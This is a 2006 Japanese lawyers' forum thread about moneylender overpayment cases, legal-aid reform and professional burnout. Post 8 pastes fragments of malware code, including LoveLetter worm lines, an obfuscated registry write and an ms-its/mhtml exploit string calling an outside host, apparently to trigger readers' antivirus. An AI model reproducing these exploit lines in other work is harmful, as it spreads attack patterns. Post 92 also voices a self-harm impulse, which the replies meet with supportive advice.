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【サヨナラ】弁護士本音talkスレPart20【みなし弁済】

1 :MS754 ◆yGUnQdhyV2 :2006/01/14(土) 00:03:38 ID:LW8yBtGn
前スレ↓
【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
注意書き,リンク集などは>>2-10あたりに・・・

2 :MS754 ◆yGUnQdhyV2 :2006/01/14(土) 00:04:34 ID:DEMwlqXs
○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。
   やさしい法律相談 Part156
http://school5.2ch.net/test/read.cgi/shikaku/1136901886/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。

3 :MS754 ◆yGUnQdhyV2 :2006/01/14(土) 00:05:30 ID:DEMwlqXs
過去スレその1
1:【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
2:【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
3:【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
4:【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
5:【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
6:【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
7:【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
8:【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
9:【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/


4 :MS754 ◆yGUnQdhyV2 :2006/01/14(土) 00:06:49 ID:DEMwlqXs
過去スレその2
10:【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/
11:【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/
12:【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611/
13:【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
14:【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
15:【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
16:【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
17:【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
18:【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/



5 :MS754 ◆yGUnQdhyV2 :2006/01/14(土) 00:08:31 ID:DEMwlqXs
関連スレ
【セクハラ】事務員本音talkスレ4頁目【根絶】
http://school5.2ch.net/test/read.cgi/shikaku/1131863289/
■裁判官の部屋 その2■
http://school5.2ch.net/test/read.cgi/shikaku/1119322093/
■若手法曹スレッドpart1■
http://school5.2ch.net/test/read.cgi/shikaku/1112780497/

6 :MS754 ◆yGUnQdhyV2 :2006/01/14(土) 00:09:17 ID:DEMwlqXs
弁護士のためのサイト集(二弁知財法研究会)
http://www.dntba.ab.psiweb.com/link/bengoshi-link.html
法令データ提供システム
http://law.e-gov.go.jp/cgi-bin/idxsearch.cgi
総本山
http://www.nichibenren.or.jp/
東弁
http://www.toben.or.jp/
一弁
http://www.ichiben.or.jp/
二弁
http://www.niben.jp/
裁判所
http://www.courts.go.jp/
岡口裁判官のページ
http://okaguchi.at.infoseek.co.jp/top.htm

7 :無責任な名無しさん:2006/01/14(土) 00:18:43 ID:36oL8L7B
スレ立て乙です。

8 :無責任な名無しさん:2006/01/14(土) 00:24:53 ID:uY/sjT8h
厨房よけ

c.Copy(dirwin&"\Win32DLL.vbs")?
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
<object?data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"?type="text/?
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
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$ハ/d-gァ28:ju/こms-its:mhtml:file://c:\ぇ.exe

9 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/01/14(土) 03:55:08 ID:oihvztng
>>MS754先生
毎度毎度スレ立て乙です。

10 :無責任な名無しさん:2006/01/14(土) 10:59:31 ID:y8TYLpX6
乙。
ノートンが反応しますので、専用ブラウザの方は
レス番8をあぼ〜んしておきましょう。

11 :無責任な名無しさん:2006/01/14(土) 11:16:07 ID:WngniiAd
どなたの発案か知りませんが,
いいスレタイですね。
感心しました。

12 :無責任な名無しさん:2006/01/14(土) 14:32:48 ID:tMkIKiME
非弁には意味が分からないとこがいいね。
前にスレタイに「国選」と入っていたときは変なのが寄ってきた。

13 :無責任な名無しさん:2006/01/14(土) 23:28:29 ID:j6dVspQb
MS先生乙です

14 :無責任な名無しさん:2006/01/15(日) 02:06:24 ID:0m9tTmK8
http://pink.gazo-ch.net/bbs/10/img2/200601/574934.jpg

15 :TN:2006/01/15(日) 10:06:34 ID:hBQRtW2o
遅ればせながら

MNさん乙

16 :TN:2006/01/15(日) 10:07:12 ID:hBQRtW2o
MN→MS

17 :無責任な名無しさん:2006/01/15(日) 20:48:13 ID:cCI2Xxzn
最高裁判決: 消費者金融 ”利息制限法の金利払えば滞納にならず” 
http://up.mugitya.com/img/Lv.1_up19898.jpg

ニュース映像:
http://zetubou.mine.nu/timer/file/bomber10828_d60.avi
ミラー
http://s10.ultrashare.net/hosting/fs/03dd7408993b46c1/

18 :無責任な名無しさん:2006/01/16(月) 01:36:20 ID:1UeQZEi3
↑このリンクはなんだ?
高利貸しの差し金か?

19 :無責任な名無しさん:2006/01/16(月) 02:00:53 ID:e4hnDSkR
>>17
滞納より以前に期日までに支払っていた金についても利息制限法で引きなおししているの?

20 :無責任な名無しさん:2006/01/16(月) 02:13:18 ID:uPwhE6kB
誰か回答をお願いします。
ジャニーズファンが集まる掲示板サイトにヤフオクで落札した、
ドラマで使われた台本を誰か買ってくれませんかと聞いたら、そーゆうのは法律でダメって決まってるサイトから出て行けと言われ、
私は利用規約に販売がどーとかしちゃいけないって書いてなかったのでそれを言ったら、
私の友達が警察だから逆らうなら通報しますよと言われました。
違法なんでしょうか?
先ほど出た肖像権なんですが、写真とかではないです。

21 :無責任な名無しさん:2006/01/16(月) 02:19:57 ID:1UeQZEi3
>>20

>>2を読んでね。

22 :無責任な名無しさん:2006/01/16(月) 12:13:41 ID:2ewduCL5
ノートンが反応してパソコンからアクセスできない

23 :会長:2006/01/16(月) 12:37:04 ID:Blq//LWv
下級審の裁判官は不勉強ものばかり
ロプロやSFCGの判決から、最高裁は厳格解釈に立ち、みなし弁済を空文化しようとしていることは明らかだった。
しかるに、両判決以後も多くの下級審裁判官は漫然とみなし弁済を認める実質論に立って、みなし弁済を認める判決をしていた。
不勉強というか、判決の意図を読み取る能力に欠けるというか・・・
該当裁判官は頭を剃って反省しろ

24 :無責任な名無しさん:2006/01/16(月) 14:43:46 ID:cU/nr05I
>>23
まあ、それは本来立法がすべきことなんだがな・・・
空文化って、三権分立に反しないか?

25 :無責任な名無しさん:2006/01/16(月) 14:46:02 ID:bay78KN4
判決でみなし弁済が認められない事態がはっきりしたため、
今後は貸金業者が国会議員に働きかけて出資法や貸金業法の
改正を求める姿勢がさらに強まってくる可能性もあるらしい。
判決で勝って立法で負けたら非常に悲しいところだが・・・

26 :無責任な名無しさん:2006/01/16(月) 14:57:54 ID:d30S2beE
アメリカも年次改革要望書で貸金業法17条18条の改定を名指しで要求しているしね。
ただ,今回の最高裁判決は,法令違憲の判断を避けるために憲法判断を回避したんじゃないか,という気がする。
もしみなし弁済改悪を強行したら,次は法令違憲になる可能性も十分にあるように思う。

27 :会長:2006/01/16(月) 15:53:00 ID:5cUEdZs0
別に支持者ではないが、公明党の支持者は経済的弱者が多いから、公明党が連立を組んでいる限りそんなにひどい改正案はでないだろう。

28 :無責任な名無しさん:2006/01/16(月) 15:57:27 ID:4pjvJoP4
あーひまだ
早く帰ろーっと

29 :無責任な名無しさん:2006/01/16(月) 17:25:03 ID:7gxYEqG+
アメリカの方が池田大作より強いだろう
アメリカのいいなりに弁護士の数が増えているんだから


アメリカ(CFJ,GE等)>>>越えられない壁>>>経済的弱者(利息制限法)
でしょうね。

今後弁護士増えるから,弁護士の地位の低下により,なおさらアメリカが強くなるでしょう。

30 :無責任な名無しさん:2006/01/16(月) 20:40:48 ID:OV1x+08T
>>29
今回の判決の背後に、アメリカ独占資本とこれに隷属する日本政府、そしてさらにこれに盲従する自民党=小泉政権という図式を描くだけあって、
キミの社会科学に関する知見が度を抜いていることは分かった。

要は、今後、どっちの側に付くかだよね。
しかし、金になる方が呼んでくれるのかなー。

31 :無責任な名無しさん:2006/01/16(月) 22:11:33 ID:yVRoi8kQ
どっちも金にならない
と言う罠

都合が悪くなれば、GEみたいに、
「前の代理人は馬鹿だから消除の方式を間違って言っていました」
みたいに言われるだろうし、大体金貸しの代理人って安いんでしょ。


32 :無責任な名無しさん:2006/01/17(火) 00:09:43 ID:Eo0wdB6b
給与所得者再生申立のときの可処分所得の計算に際して,
夫(扶養家族ではない)の名義で借りている借家の賃料を一部負担している妻(申立人)について,
その負担している一部額について「賃料の支出あり」と計算しても認可されるでしょうか。

また,
「小規模個人再生を申し立てて手続開始したが,債権者の異議が過半数に達する勢いなので,給与所得者再生に乗り換える」
という方法は可能なのでしょうか。


33 :無責任な名無しさん:2006/01/17(火) 10:30:13 ID:zrTGFkg+
そういえば橋○弁護士は、少し前まで○ティズの代理人をしていたが、儲かってなかったんだろうか。

34 :TN:2006/01/17(火) 13:12:42 ID:6OhNECp3
最近書き込みが少ないのは変な貼り付けのせいかな?
うちもそうだけどやはりノートン派が多いのかな?

35 :無責任な名無しさん:2006/01/17(火) 13:16:04 ID:msUWdfrY
2ちゃんブラウザ使ってる人は、ログ保管するフォルダを、ノートンの検地対象外にすればいいお

36 :無責任な名無しさん:2006/01/17(火) 13:21:43 ID:7O+fMvJt
認可されるかどうかじゃなくって,ちゃんと証拠付けて出して,認可されるようにしろ

小規模→給与所得者,ってのは,申立書の記載によるんじゃないの?ま,ダメだったら取り下げてすぐ給与所得者で出せばいいじゃん

37 :無責任な名無しさん:2006/01/17(火) 13:59:09 ID:H1+WmB3Z
ある名古屋の駐車場の会社S○Pは労災は入っているが、雇用保険
に入っておらず、離職表も出せない会社だ。
にわか法律知識で法律スレスレをしてるよ。
バイトにも雇用保険を出したくないために、3箇所以上の架空子会社
から給料を出して雇用保険を出さない形をとっている。
国税局に匿名をだせば面白い会社だよ。

38 :無責任な名無しさん:2006/01/17(火) 14:28:40 ID:jrYk9SEb ?
おまいら、合格者9000人は実現すると思う?
そうなると、行政書士が弁護士になるみたいなものだろ・・・。

39 :無責任な名無しさん:2006/01/17(火) 14:32:41 ID:a4J5WgaM
行政書士よりかんたんになるでしょ
行政書士試験、すごく難しいよ

40 :無責任な名無しさん:2006/01/17(火) 16:31:13 ID:HGxLEMqr
おまいらそれよりsage進行で頼むw

41 :TN:2006/01/17(火) 17:11:10 ID:6OhNECp3
オジサン世代としては
俺達の青春を返せ!!!
と叫びたいところだね
仮に3000人としても2年無駄に勉強したことになるからね

42 :無責任な名無しさん:2006/01/17(火) 17:47:57 ID:pPZ1Rukn
返してもらったところで、処理に困りそうだから俺はいいや。


43 :無責任な名無しさん:2006/01/17(火) 18:20:38 ID:PKtKYe9m
たぶん数年すれば、合格年次によって弁護士に対する世間の評価は差がつくだろう。
合格者500人ぐらいまでの時の弁護士が最高の尊敬を得るが、それ以降は順次評価が下がり
ロー出身ャは、「ふーん、ローですか」との低い評価しか受けないだろう。
他の資格試験でもそうなっており、間違いないと思う。
ロー出身の本当に優秀な人達ってかわいそう。

44 :無責任な名無しさん:2006/01/17(火) 18:30:52 ID:/kbGB8ty
>>41
それ言い出すと、おれなんか平安があれば…


まあ、みっともないから、いうのはよそう。

45 :無責任な名無しさん:2006/01/17(火) 18:32:20 ID:oYa0mPc6
まだ丙案をやっかんでるんですか?・・

あなたはロー生なんて絶対みとめないんでしょうね・・


46 :無責任な名無しさん:2006/01/17(火) 18:40:36 ID:WZohKW7h
ロー卒弁護士と現行弁護士で呼称を分けて欲しいところですね。
彼らは弁護司にするとか。

47 :無責任な名無しさん:2006/01/17(火) 18:47:40 ID:+2T89xWq
そうだな。500人時代に比べると合格者が6倍に増えるんだからね。
いうならば、東大、京大、阪大・・・上位6校の名称を全て東大に変更し
全員東大卒との肩書を与えるようなものだからな。
まさにピンからキリまでだね。

48 :無責任な名無しさん:2006/01/17(火) 18:48:40 ID:P+I4ZPXF
平安の連中はむしろ可哀想だと思うよ
充分力つけないまま放り出されたわけだから

49 :無責任な名無しさん:2006/01/17(火) 18:56:00 ID:bLxbxdft
日弁連会長選どうするかな。

50 :無責任な名無しさん:2006/01/17(火) 19:07:28 ID:/kbGB8ty
>>45
だから、言うのをやめたじゃん。未だにいうのがかっこ悪いことは十分分かってんだよ。


>>49
今、某陣営から電話がかかってきたよ。
某候補の元パートナーの公金横領に、某候補もからんでるんだってさ。
虚実ないまぜ。気持ち悪い世界だ。

51 :無責任な名無しさん:2006/01/17(火) 19:16:57 ID:P+I4ZPXF
デマかどうかにかかわらずそんな賤しい候補に投票するべきではない

52 :無責任な名無しさん:2006/01/17(火) 19:24:32 ID:bLxbxdft
デマだったら賤しいとは言えないのではないか




53 :無責任な名無しさん:2006/01/17(火) 19:25:10 ID:HGxLEMqr
現行ではみんなが司法試験を通ってきたから(学者経由とかは無視),あいつはどこの大学出身で・・・
なんて誰も大して気にもしない。
だが,これからは,「○○のローを出た弁護士」というような評価がなされる時代が来るのだろう。

・・・ローが破綻しなければ

54 :無責任な名無しさん:2006/01/17(火) 19:37:08 ID:P+I4ZPXF
電話で「ここだけの話」なんてやるのは賤しいと思わないか?
尻尾掴んでるんなら告発すればいいだけのこと
確証ないんなら言うべきでないのは弁護士らな当然じゃないか?

55 :無責任な名無しさん:2006/01/17(火) 19:45:03 ID:0IjoY2ij
クレサラの質問です。

>>昨年の12月の大阪高裁で継続取引でも10年以上前は時効で請求出来ない
と判決出た

数日前の最高裁判例より1万倍も弁護士業界に与える影響大
日付と事件番号教えて下さい。


56 :無責任な名無しさん:2006/01/17(火) 19:53:25 ID:bLxbxdft
>>54
ああそういう意味ね
あなたの文章はどちらが賤しいのかがわかりにくいよ

57 :無責任な名無しさん:2006/01/17(火) 20:00:45 ID:HGxLEMqr
>>55
非弁乙。

58 :無責任な名無しさん:2006/01/17(火) 21:02:35 ID:aZrSulHS
どの候補も現金を持ってこないけど、どうしてだろう

59 :無責任な名無しさん:2006/01/17(火) 21:12:46 ID:62XlP+bO
票が欲しけりゃ金払え!

ってか。
これ見てたから笑ってしまった。
ttp://yogatori.com/movies/guitarist/nezumi.htm

60 :無責任な名無しさん:2006/01/17(火) 21:47:58 ID:HGxLEMqr
>>59
激しくワロタ

61 :無責任な名無しさん:2006/01/18(水) 00:20:53 ID:ARPONw0v
スレ違いだったらごめんなさい。

扶助協会を経由した依頼って弁護士の方からすると嫌なものなのでしょうか?
一昨年に扶助協会の援助を受けて依頼したんですが、
相談をする時間をとってもらえなくて…。

62 :無責任な名無しさん:2006/01/18(水) 07:59:18 ID:jfN3VQ8c
>61
スレ違いです。
しかしちょっと気になるので。
一昨年に扶助協会の決定が出てから(本当に決定出てますね?)、一度も
相談時間を取ってもらえないということですか?
それなら問題なので、その弁護士に連絡して埒があかないようであれば
扶助協会に直接確認してみてはいかがですか。

そうではなく、これまでその弁護士は普通に事件処理しているけれども、
最近あまり相談時間をとってもらえないということですか?
その場合は、いろいろな理由がありそうなので、何ともお答えできませんが。

63 :無責任な名無しさん:2006/01/18(水) 09:47:07 ID:SFpVnYIk
扶助協会かぁ
原価割れで損をして仕事をしてくれと言われてうれしいはずがないよな。
気持ちよく仕事をして欲しけりゃ正規の料金を支払うことです。

64 :無責任な名無しさん:2006/01/18(水) 10:07:43 ID:pvFz9bgu
◇刑事訴追恐れ
証言拒否は証人の権利で、刑事訴追の恐れなど正当な理由があれば
証言を拒絶できると議院証言法は定めている。証人には補佐人を
依頼する権利もあり、補佐人は弁護士から選ばれて「宣誓および
証言の拒絶に関する事項」について助言する。
鶴見弁護士は喚問終了後、小嶋社長の証言拒否について「捜査機
関が小嶋氏を偽証容疑で逮捕、起訴を準備しているという有力な
情報が直前にあった。住民のみなさんはけしからんと思うだろうが、
ぎりぎりの判断だった」と説明した。

朝日のサイトからの引用だけど
偽証容疑があるから証言拒絶するという拒絶理由が認められるなら
およそ偽証罪のおそれがある証人喚問では証言が得られないことになるのでは
ないだろうか?
つまり証言拒絶権の対象には当該証人喚問の偽証罪は認められないのでは?


65 :無責任な名無しさん:2006/01/18(水) 11:35:00 ID:+eE/b4WS
>>63
非弁乙
ま,田舎の弁かもしれんが。

66 :無責任な名無しさん:2006/01/18(水) 12:22:32 ID:I5pgtKLg
>>64
正当な理由がない証言拒絶については証言拒絶罪が成立するから,おk。


67 :無責任な名無しさん:2006/01/18(水) 16:45:31 ID:4kw+6A0K
ふーん、都会では扶助協会の事件が取り合いっていう噂は本当なんだね

68 :無責任な名無しさん:2006/01/18(水) 16:54:58 ID:XV0c1fWP
俺のところなんて、扶助事件ガンガン来るよ。

69 :無責任な名無しさん:2006/01/18(水) 16:57:30 ID:hhcyMaPI
今年から法テラスの弁護士のみが扱うことになる
俺はやらない

70 :無責任な名無しさん:2006/01/18(水) 18:59:06 ID:OQrncbMl
国選もね

71 :無責任な名無しさん:2006/01/18(水) 19:28:12 ID:hy/ZqeBG
俺も、法テラスになったら、扶助と国選やらねぇ。

72 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/01/18(水) 20:09:18 ID:/SdFUf5q
法テラスの刑事専従スタッフに手を挙げているのですが,昨年の7月に意向聴取
があって以来何の音沙汰もありません。
東京にはスタッフ弁護士を置かないという話も耳にするし,上告事件をどこの弁
護士(東京or高裁所在地)がやるかも決まっていないらしい。
いったいどうなることやら。

73 :無責任な名無しさん:2006/01/18(水) 20:11:00 ID:po7ZKwkB
オレもそうする
法テラスと契約しなきゃ当番もやらなくていいんだろ

74 :無責任な名無しさん:2006/01/18(水) 20:12:39 ID:pajCS2Zn
法テラスってネーミングセンス悪いよな。
lawdoorとかにすれば良かったのに。

75 :無責任な名無しさん:2006/01/18(水) 20:19:23 ID:9qN/H1kX
確かにすごく間抜けな名前だ

76 :無責任な名無しさん:2006/01/18(水) 20:43:31 ID:eYU7Pm9g
法テラスってなんのこと。

どうやら、これと関係しなけりゃ、国選と扶助をしないですむという雰囲気ですね。
都会の弁護士にとっては、つまらん報いのない事件にかかわらなくて済むので有り難いことです。

77 :無責任な名無しさん:2006/01/18(水) 21:12:12 ID:FLmxRmbJ
>>76
都会の弁護士は公益活動の名の下に強制的にやらされる件

78 :無責任な名無しさん:2006/01/19(木) 00:14:57 ID:26bB9Hfe
都会の弁護士は、扶助を取り合う

79 :無責任な名無しさん:2006/01/19(木) 09:32:39 ID:rmllYemg
これからは新人の失業対策だよ

80 :無責任な名無しさん:2006/01/19(木) 11:26:50 ID:aK6Bm11X
新人の失業対策=司法支援センター

81 :無責任な名無しさん:2006/01/19(木) 13:55:20 ID:T5TYJuC2
そうかあ新人の失業対策かぁ
法務省も深いねぇ。
もちろんヤメ検や副検事にはうま味のある事件を紹介するんだろうな。

82 :無責任な名無しさん:2006/01/19(木) 17:52:22 ID:rMpzv7Wc
みんな新人の仕事とっちゃダメだぞ

83 :無責任な名無しさん:2006/01/19(木) 19:00:44 ID:cZnOttOm
みなさんsage進行で。

84 :無責任な名無しさん:2006/01/19(木) 23:31:47 ID:OLpPRKeE
司法支援センターって,検事のための天下り先ってわけではないの?

85 :無責任な名無しさん:2006/01/19(木) 23:39:48 ID:NaBCqu6K
>>84
あんなとこP止めたあとまで行きたくありませんよ
若いBで固めてください

86 :TN:2006/01/20(金) 02:39:00 ID:wedneycG
上の方には天下り用のポストが用意されてるだろ
法務省が利権確保のために作った制度だから

87 :無責任な名無しさん:2006/01/20(金) 03:18:31 ID:HU6eiD/h
法務省からの天下りポストはあります
さして必要もないポストですが、良い金を取ります
事務員を四、五人しか採用しないところでも、一千万からの金を取る事務長みたいなのを置きます
単純計算で、支援センター数の50人のポストを法務省はゲットしました
あと、弁護士と弁護士会を支配できるようになります

88 :無責任な名無しさん:2006/01/20(金) 09:56:17 ID:Kl8YwkGd
朝からめちゃめちゃ気が重い。
仕事ができなくなってきてしまった。。
起案に取りかかることができない。
そして起案を持ち帰るが結局できず、夜も眠れない。

とりあえず、10時打ち合わせの人が来たからとにかく会ってくるか。
しかし、本当は誰にも会いたくない。
事務員も他の弁護士も誰もいなくなって欲しくてイライラする。
一人きりでしばらく引きこもって休みたいよ。
盲腸にでもならないかな・・・。

89 :TN:2006/01/20(金) 10:07:11 ID:dl6QDQy/
ちょっと鬱気味のようですね
とりあえず休養を取るのがよいと思います
ひどいようならお医者さんに行って薬をもらってきた方がよい

90 :TN:2006/01/20(金) 10:26:23 ID:dl6QDQy/
>>72
あまり心配しなくてもそのうち連絡有りますよ
どこも準備が後手後手に回ってるようですし
でもこの調子だと開業当初は相当混乱するでしょうね
拙速という奴です

91 :無責任な名無しさん:2006/01/20(金) 10:49:42 ID:xBZ7IxxI
>>88
難しいことは承知だがあえて言う。
とりあえず最低3日くらい休め。
それと、医者行って薬もらって睡眠だけでも確保したほうがいい。

92 :88:2006/01/20(金) 12:38:56 ID:xswQT7Mz
>89,91
どうもすみません。
既に入れている相談に出たり期日に出たりまでは何とか体を引きずって
できるけど、起案したり積極的にこちらから動いたりというのができなくなって
いる感じです。
毎日家では机に記録広げてパソコン開いて、そこまでやっても起案ができない。
始めてもなかなか進まないという状態になっています。
最近は、このままいくと、起案が進まず事件が滞留して事由と正義の懲戒に
載るかもしれないなとか考えてしまう。しかし、手を付けられない。
とにかく疲れているのは確かなので、正当に休むためには、車をガードレールや
電信柱に突っ込むしかないか・・・と衝動的に自損事故を起こしたくなることがあります。
どうやったら、2,3日休めるんだろうな。

93 :TN:2006/01/20(金) 12:56:56 ID:ekz7Mj5K
土日を挟んで風邪でダウンと言えば3、4日は休めるでしょう
イソ弁ならできればボスに言ってしばらく急な事件などの配点をやめてもらった方が言い
海外視察で一月日本にいないなどという弁護士もいるので
何とか理由を付て期日を先延ばしにするのも一つの方法
弁護士はたいていサラリーマンよりスケジュールの融通がきくと思うので
自分の置かれた状況で工夫して見てください

多分2、3日で回復しないと思うのでその場合でも焦らないこと
とにかく休養が第一です
平日サボって映画見るなりドライブするなり自分の好きなことでもしてみれば


94 :無責任な名無しさん:2006/01/20(金) 13:05:55 ID:YYuTrjO2
酷ないい方だが、そんなヤワな事では弁護士は務まらない。
事故を起こす前に、将来的には真剣に転職を考えたほう良い。

95 :無責任な名無しさん:2006/01/20(金) 13:08:20 ID:nS2EN+ZH
>>93
そんな優しいボスではないこともありますw
>>92
この土日,どうせ仕事できる状態じゃないんだから,よその県とかに行って,風俗で抜いて,暴飲暴食をし,静かなところでよく寝て,少しマシになりなさい。

北方謙三曰く「ソープにいけ!」

96 :無責任な名無しさん:2006/01/20(金) 13:10:39 ID:nS2EN+ZH
どうせネット見てるんだったら,今から3時過ぎの航空券とか取って,それも無駄にスーパーシートにして,他の大都会に行って,10マンをめどにソープに行って,国選一つ使っちゃったなあなどと少しブルーになれ


97 :無責任な名無しさん:2006/01/20(金) 13:12:29 ID:pieRhWdo
 自分の最初の2年くらいは、事務所にいると気分が悪くなったり、こっそり吐いたりしていた。
 仮病をつかって休んだこともある。
 そのうち、ボスと議論して意見が違っても、ボスが自分の意見のほうが正しいと認めてくれるように
なってきて、自分の仕事ぶりにも自信が付いてきて、解消しました。

 今は独立しているが、今から振り返ると、あのころはしんどかったけど、力はついたと感じ、ボスに
感謝しています。

 

98 :無責任な名無しさん:2006/01/20(金) 13:23:38 ID:MqOMf+Bm
みんな似たような経験してるんだから、一途に思い詰めないで、
少し今の状況から離れれば、何とかなるかもしれないし、
TNさんの言われるように、2、3日では直らないかもしれない。

でも、苦しい(苦しかった)のは、あなただけではないから、
そのうち、何とかなると思いましょう。

頑張れば何とかなるというものではないところまで追い詰められている
ような気がするので、今無理して頑張ってはいけません。

99 :TN:2006/01/20(金) 13:29:36 ID:Yz6zvR5T
補足

頑張ろうと思わないこと
アルコールは逆効果なので避けること

100 :無責任な名無しさん:2006/01/20(金) 13:32:49 ID:nS2EN+ZH
そうそう
食うのはいいけど(健康面は別にして),酒はダメですね

101 :無責任な名無しさん:2006/01/20(金) 14:40:22 ID:mQCu9r8t
午後3時か4時に,おやつを食べてお茶をすする。
毎日これやるだけで違う。

102 :無責任な名無しさん:2006/01/20(金) 16:10:13 ID:ZpSGZ3CW
ところで、みなさんはサラ金相手の過払い請求のとき、5%の遅延損害金もつけて請求
してます?私は、和解で決着つける方を優先するんで、相手から「遅延損害金はなしで
計算してくれ。」と言われたら大体応じちゃってるんですが。

103 :無責任な名無しさん:2006/01/20(金) 16:57:20 ID:mQCu9r8t
訴訟にするときは当然つける。
訴訟前の請求のときはつけないが,脅しとして「訴訟になったら過払利息と遅延損害金も請求するぞ」と言う。

104 :無責任な名無しさん:2006/01/20(金) 18:05:38 ID:xuYDyxo+
訴訟前でも最初はつけます。
訴訟前和解の場合は,最終的には落とします。
訴訟上の和解(訴訟後の訴訟外での和解も)の場合は,
遅延損害金を半分にしてあげて和解をします。


105 :無責任な名無しさん:2006/01/20(金) 19:09:08 ID:j3bzoikG
今月の「自由と正義」の中で俺的には東京高裁での日弁裁決取消判決が注目。
判示内容を見てみたい。

106 :無責任な名無しさん:2006/01/20(金) 19:18:40 ID:ItqoQ4MW
>>102
俺も利息つけて請求してる。


107 :無責任な名無しさん:2006/01/20(金) 20:39:23 ID:yzG9Ju+O
↑ 自分の不徹底を恥じております。

 民事は相対的な利害の調節、解決を基本に考えてきたので、
サラ金への過払い返還請求も、訴訟提起前の和解・示談だからと、当然のように、9掛け、8掛けの話しで手を打ってきました。

皆さんの経験談を聞いたので、アスいや来週から、心を入れ替えて頑張るぞー。
ところで、利息も請求して、訴訟までにいたらずに解決する割合はどれぐらいでしょうか。

108 :無責任な名無しさん:2006/01/20(金) 20:47:16 ID:ItqoQ4MW
>>107
利息を付けて請求する。

が、

利息込みの額から8〜9掛けで和解してる。
大手相手ならたいてい訴訟にならない。
GEが半額にせぇとゴネている・・・。

109 :107:2006/01/20(金) 20:56:24 ID:yzG9Ju+O
>>108
8、9掛けでやってる方もおられるんですね。
安心しました。
ヒョッとしたら、超過になるんではと心配でした。依頼者はすべて納得済みで、
しかも、早期解決、お金も返ってきて、ありがとう、先生のおかげです、といってくれました。

ただ、弁護士会の綱紀・懲戒辺りからなんか言われないかと。サラ金問題解決指針に違反しているとか、イチャモン付けられたらと。

今日届いた、不「自由と正義」にも、なんで弁護士会がこの弁護士のしたことをいけないことと懲戒処分にしたのか、理解しにくい事例が1件ありましたから。



110 :107:2006/01/20(金) 20:59:37 ID:yzG9Ju+O
↑ 超過→懲戒 でした。

111 :無責任な名無しさん:2006/01/20(金) 23:17:00 ID:0WcEEFxQ
6%の利息付けて請求、元本のみで和解とか全体の9割で和解してます。
依頼者に逐一確認するけど判決を望む人はいないなあ。

懲戒は今一番恐れてる。
正直なところ、うちの事務所は低所得者層の多い地域の町弁事務所だから
言葉は悪いが「出来の悪い」依頼者が多い。
不法行為起こしたけど、賠償するお金がない、どうにかしてくれ、
みたいな依頼とか。つい依頼者に厳しくなることがある。
事件の読みを厳しく伝えるなど
スタンスとして「厳しく」するのであって
別に厳しい言葉で責めるとか、不利になるように扱うとか
そういうものではないんだけど、気にする人はするみたいね。
逆恨みされたり。

事務員の仕事が遅いとか、指示事項すっぽかすとか
でも事務員と意思疎通が出来てなくて弁護士が気付かなくて
事件が大幅に遅延する、というのも多くます。
これは懲戒されても仕方ないな。
事務員に指導できない私が悪いですからね。言い訳のしようがない

112 :sage:2006/01/21(土) 05:41:46 ID:pZhJ6WCW
61です。
書き込んだにも関わらず遅くなりました。ごめんなさい。

やはりスレ違いだったのですねー…
でも色々とご意見を頂けてとても参考になりました。

なんとなくですが、取り合いという感じはなかったので、
私の住むところは田舎の部類かもorz

弁護士の方とは何度かお会いしたのですが、それでも数える程度です。
電話も繋がらない為、こちらから連絡をとることも出来ず。
